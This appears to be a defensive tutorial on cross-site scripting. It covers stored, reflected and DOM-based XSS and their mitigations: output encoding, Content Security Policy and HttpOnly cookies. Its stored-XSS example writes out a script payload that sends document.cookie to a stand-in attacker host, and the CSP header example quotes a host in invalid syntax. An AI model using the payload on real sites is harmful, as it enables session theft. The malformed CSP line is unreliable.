Weaponized JavaScript

Cross-Site Scripting (XSS) occurs when a web application takes untrusted data from a user and renders it on a web page without proper validation or escaping.

This allows an attacker to inject malicious JavaScript into the victim's browser. Because the browser thinks the script came from your legitimate website, it executes it with full permissions, allowing the attacker to steal session cookies, capture keystrokes, or act on the user's behalf.

The Three Types of XSS

1. Stored XSS (Persistent and highly dangerous) The malicious payload is permanently saved to the target server's database (e.g., in a forum post or a profile bio). When any normal user visits that page, the server delivers the payload, and the user's browser executes it. - Example: An attacker sets their username to <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>. Every time an admin views the user list, the admin's session cookie is stolen.

2. Reflected XSS (Non-persistent) The payload is embedded in a crafted URL. The attacker tricks a victim into clicking the link. The server receives the payload in the URL and immediately "reflects" it back into the HTML response. - Example: A search page URL like https://example.com/search?q=<script>alert('Hacked')</script>.

3. DOM-Based XSS The vulnerability exists entirely on the client side. The server never sees the payload. It happens when aggressive client-side JavaScript reads data from the URL (like window.location.hash) and passes it directly to a dangerous sink like innerHTML or eval().

Prevention and Mitigation

  1. Context-Aware Output Encoding: This is the primary defense. Before rendering user data into HTML, you must convert special characters into their safe HTML entity equivalents. - < becomes &lt; - > becomes &gt; Modern frameworks like React, Angular, and Vue do this automatically. If you use vanilla JS, prefer .textContent over .innerHTML.

  2. Content Security Policy (CSP): CSP is an HTTP response header that acts as a strict whitelist for where scripts can be loaded and executed from. http Content-Security-Policy: default-src 'self'; script-src 'https://trusted-cdn.com' A strong CSP completely disables inline <script> tags, rendering most XSS payloads completely inert even if the attacker successfully injects them into the DOM.

  3. HttpOnly Cookies: If your session tokens are stored in cookies, always flag them as HttpOnly. This prevents JavaScript from reading document.cookie, stopping the most common goal of an XSS attack (session hijacking).

Validation Is Not the Answer Alone

Many teams assume escaping will never be needed because they "validated input". Validation blocks malformed input, but XSS payloads can be perfectly valid text. The username Alice & Bob <dev> is fine data; the danger is only present when it is rendered into HTML. This is why output encoding (escaping where the data is emitted) is the primary defense, separate from input validation, and why the encode step must be context-aware: the escaping rules you apply inside an HTML tag, inside an attribute value, inside href/src URLs, inside a <script> string, and inside CSS all differ. A payload safe inside one context is lethal inside another.

Drawing Lines Between Sinks and Sources

Testing your own app for DOM-based XSS means tracing data sources (like location.hash, document.URL, postMessage, or localStorage) to sinks (like innerHTML, document.write, eval, or setTimeout with a string). Every source-to-sink path that skips escaping is a potential DOM-XSS. Static analyzers (ESLint's no-unsanitized, or Semgrep) catch many of these; a quick manual review catches the rest. Remember that an onload attribute or a <img src=x onerror=...> vector survives even when the payload looks like it is "inside an attribute" — quote the attribute and encode quotes.

XSS in Practice Today

Modern single-page apps mitigate most classic stored/reflected XSS automatically by escaping by default, but the new generation of issues lives in the seams: server-side renders that trust client data, markdown renderers that allow HTML, dangerously-set-html properties that skip the framework's escaping, and click-jacking of <iframe>-free status. When you review a codebase, start page code reviews with "where does anything from outside reach an HTML sink?" — enumerate the sources, name the sinks, and verify an escape in between. CSP remains the safety net: a strict policy (no inline scripts, a pinned allowlist of script hosts) means even a failed escape produces a blocked script instead of a stolen session.